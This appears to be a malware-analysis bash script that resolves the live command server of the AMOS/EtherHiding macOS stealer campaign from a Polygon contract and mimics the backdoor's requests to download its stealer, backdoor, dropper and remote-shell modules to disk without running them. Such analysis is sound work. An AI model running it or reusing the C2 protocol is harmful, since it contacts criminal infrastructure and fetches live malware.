#!/usr/bin/env bash
# ============================================================================
# capture_modules.sh  —  DEFENSIVE capture for the AMOS / EtherHiding ClickFix
# macOS chain (Polygon-resolved C2).
#
# It reproduces the loader/backdoor's OWN HTTP requests and writes each module
# RESPONSE BODY to a file. It NEVER pipes anything into osascript / sh / bash,
# so nothing the C2 returns is executed.
#
#   >>> Every file this writes is LIVE MALWARE source. Read it, never run it. <<<
#
# RUN ONLY inside an isolated analysis VM you will revert afterwards. These
# requests go to live criminal infrastructure and reveal this host's egress
# IP to the operator — use a dedicated analysis egress, not a corporate line.
# ============================================================================
set -u

# --- contract (same across every sample in this campaign) -------------------
CONTRACT="0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
SELECTOR="0x2686ecea"            # getServerURL()
RPCS=(
  "https://polygon-bor-rpc.publicnode.com"
  "https://polygon.drpc.org"
  "https://1rpc.io/matic"
  "https://polygon-rpc.com"
)

# --- per-sample values (override via env; defaults = the sample you analysed) ---
TXID="${TXID:-f5c092ab49f007c0148173f42aa093ec}"      # from your loader / bmodule
UUID="${UUID:-00000000-0000-0000-0000-000000000000}"  # fake analysis UUID
USER_NAME="${USER_NAME:-analyst}"                      # fake username
ENROLL="${ENROLL:-0}"                                  # 1 = send connect+task first
OUT="${OUT:-./captured_$(date +%Y%m%d_%H%M%S)}"
# ----------------------------------------------------------------------------

mkdir -p "$OUT"
echo "[*] output dir: $OUT"
echo "[*] txid used : $TXID"

# 1) resolve the current C2 from the contract (read-only eth_call)
payload="{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"$CONTRACT\",\"data\":\"$SELECTOR\"},\"latest\"],\"id\":1}"
C2=""
for rpc in "${RPCS[@]}"; do
  r=$(curl -s --max-time 15 "$rpc" -X POST -H 'Content-Type: application/json' --data "$payload" 2>/dev/null)
  h=$(printf '%s' "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p')
  [ -z "$h" ] && continue
  len=$(printf "%d" "0x${h:64:64}" 2>/dev/null) || continue
  C2=$(echo "${h:128:$((len*2))}" | xxd -r -p 2>/dev/null)
  [ -n "$C2" ] && { echo "[+] current C2 from contract ($rpc): $C2"; break; }
done
[ -z "$C2" ] && { echo "[!] could not resolve C2 (contract empty, or RPCs blocked here)"; exit 1; }
printf '%s\n' "$C2" > "$OUT/_resolved_c2.txt"

# the malware always prepends https:// to a bare host; mirror that
case "$C2" in
  *://*) base="$C2" ;;
  *)     base="https://$C2" ;;
esac
base="${base%/}"

fetch () {   # $1 = label, $2 = POST body
  local label="$1" body="$2" f="$OUT/$1.bin"
  echo "[*] POST $base   body='$body'"
  # -o FILE writes the response to disk. There is deliberately NO | osascript / | sh here.
  curl -s --connect-timeout 5 --max-time 30 -X POST "$base" -d "$body" -o "$f" 2>/dev/null
  if [ -s "$f" ]; then
    echo "    -> $f  ($(wc -c < "$f" | tr -d ' ') bytes)  sha256=$(shasum -a 256 "$f" | awk '{print $1}')"
    printf '    first bytes: '; head -c 80 "$f" | tr -d '\0'; echo " ..."
  else
    echo "    -> empty (C2 down, or this selector is gated — try ENROLL=1)"
    rm -f "$f"
  fi
}

# 2) health check the backdoor performs first (expects the literal 'success')
echo "[*] health check (body: check)"
curl -s --connect-timeout 5 --max-time 15 -X POST "$base" -d "check" -o "$OUT/_healthcheck.txt" 2>/dev/null
echo "    reply: $(cat "$OUT/_healthcheck.txt" 2>/dev/null)"

# 3) optional enrollment (some tasks are only served to 'registered' victims)
if [ "$ENROLL" = "1" ]; then
  fetch "_connect" "uuid=$UUID&username=$USER_NAME&txid=$TXID&connect"
  fetch "_task"    "uuid=$UUID&username=$USER_NAME&txid=$TXID&task"
fi

# 4) the modules — exactly the bodies the loader / backdoor send
fetch "bmodule" "txid=$TXID&bmodule"                               # backdoor agent (reliable)
fetch "smodule" "txid=$TXID&smodule"                               # full AMOS stealer
fetch "lmodule" "txid=$TXID&lmodule"                               # light stealer
fetch "ledger"  "txid=$TXID&ledger"                                # ledger/miner dropper
fetch "shell"   "uuid=$UUID&username=$USER_NAME&txid=$TXID&shell"  # remote shell (often gated)

echo
echo "[*] done. Everything in $OUT is LIVE MALWARE source — read, do not run."
echo "    The AppleScript modules are character-ID obfuscated; deobfuscate before reading."